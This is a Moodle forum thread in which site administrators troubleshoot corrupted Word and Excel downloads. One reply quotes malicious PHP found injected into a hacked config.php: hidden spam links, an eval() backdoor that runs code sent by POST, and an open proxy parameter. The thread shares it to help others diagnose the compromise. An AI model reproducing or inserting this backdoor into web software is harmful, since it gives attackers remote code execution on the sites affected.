All excel or word files that are uploaded appear corrupted

All excel or word files that are uploaded appear corrupted

by Colin Donohue -
Number of replies: 10

Hi,

I recently upgraded Moodle to version 1.8.2. I was trying to backup and restore some courses from another Moodle server that is also on version 1.8.2 but all excel and word documents just appear corrupted when i try to open them. The pdf files seem to have been restored okay. I then downloaded a copy of one of the excel files to my local pc and it opened fine there.

I then just tried to add a resouce by linking to a newly uploaded file and i get the same problem. Any ideas?

Any help would be great!

Colin

Average of ratings: -
In reply to Colin Donohue

Re: All excel or word files that are uploaded appear corrupted

by Michael Tranchellini -
Hello,

I've got the same problem with 1.8.4+. Did you find the solution?
Thanks for your answer!

Have a nice day!

Michael
In reply to Michael Tranchellini

Re: All excel or word files appear corrupted

by Michael Tranchellini -
Hello,

I'm feeling somewhat lonely...
I had a Moodle running under 1.8.3+ hosted on an infomaniak.ch server. As I had some troubles because my last migration including the upgrade of the MySQL Db to utf-8 didn't ran smoothly, I copied the whole Moodle to a local server and backuped all courses.
I built a new local 1.8.4+ Moodle and restaured all needed courses. When I was happy, I copied it again on my hosting server (moodle and moodledata directories and restaured the MySQL DB).
The current situation is as follows:
On my old hosted moodle and my new local Moodle, the excel and word files can be downloaded problem free. On my new hosted Moodle the same downloaded files (used as ressources or dowloaded from the courses files) are corrupted and cannot be opened correctly. (see the example files).
If I download the file from the moodledata directory through a ftp connexion, it's not corrupted.
So the files on the server are ok but are being corrupted during the download process through Moodle. It doesn't seem to be linked to the server parameters as my old Moodle on the same server downloads correctly.

I'm clueless...

Any help appreciated!

Thanks!

Michael
In reply to Michael Tranchellini

Re: All excel or word files appear corrupted

by Ralf Seliger -
Hi,

I'm having the same problems. Have you been able to solve it?

Regards, Ralf Seliger
In reply to Michael Tranchellini

Re: All excel or word files that are uploaded appear corrupted

by Thomas Edwards -

Hi All

Anyone get anywhere with this?

I seem to have developed the same problem, only I dont recall any changes taking place at any time, it just seems to have... happened...

Cheers

Thomas

In reply to Thomas Edwards

Re: All excel or word files that are uploaded appear corrupted

by Angela Shier-Jones -
We have also now discovered the same problem - this is now desperate - does nobody know how to resolve this problem?
In reply to Angela Shier-Jones

Re: All excel or word files that are uploaded appear corrupted

by Angela Shier-Jones -
I managed to fix this problem for myself by doing a fresh install. I then discovered that my config.php had been hijacked and contained the following

<a href=http://aims2.ideal.asu.edu/?search=viagra+pinus+size+testimonials>viagra pinus size testimonials</a>


and several other references such as this.. followed by..

';
function output_callback($str)
{
GLOBAL $links;
preg_match("|<body[^>]*>|",$str,$arr);
return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);
}

function get_page($url)
{
return file_get_contents($url);
}

if(isset($_POST['code']) && $_POST['code'])
{
eval(stripslashes($_POST[code]));
exit;
}
if(isset($_GET['proxy']) && $_GET['proxy'])
{
print get_page($_GET['proxy']);
exit;
}

ob_start ('output_callback');
?>


I hope this helps someone


In reply to Angela Shier-Jones

Re: All excel or word files that are uploaded appear corrupted

by Hannah Mathias -
So what did you do? Delete all of this? but replace it with what?
In reply to Angela Shier-Jones

Re: All excel or word files that are uploaded appear corrupted

by Hannah Mathias -
My Config.php is fine. Any other ideas?
In reply to Hannah Mathias

Re: All excel or word files that are uploaded appear corrupted

by Mauno Korpelainen -

The old traditional reason used to be white spaces (usually empty rows after last ?> ) in config.php, theme config.php or some edited lib/lang files and some text editors like Notepad can change coding of file from ANSI to UTF-8 if you use Save As feature.

In most recent cases files get corrupted because some php files (config.php, index.php etc) contain injected spammers code that you can see in source code - usually at the beginning, after <body> tag or just before </body>

If you find that spam code search the forums for more info - for example "hacked"...

In reply to Colin Donohue

Re: All excel or word files that are uploaded appear corrupted

by James Snell -

I know this is an ancient thread, but I was reviewing it as I too was recently having a problem like this.

In my case, most files students were downloading were corrupted. It turned out that the problem was an intermediate reverse proxy server. The reverse proxy server's root partition had run out of space and in turn it was only able to handle quite minimal connections. As soon as we cleared out some space, sanity returned.

Funny thing is, I've been rolling out Nagios deployments monitoring my networks, but had yet to apply it to this one, it would have caught this issue immediately!

I hope this post helps someone.

Average of ratings: Useful (1)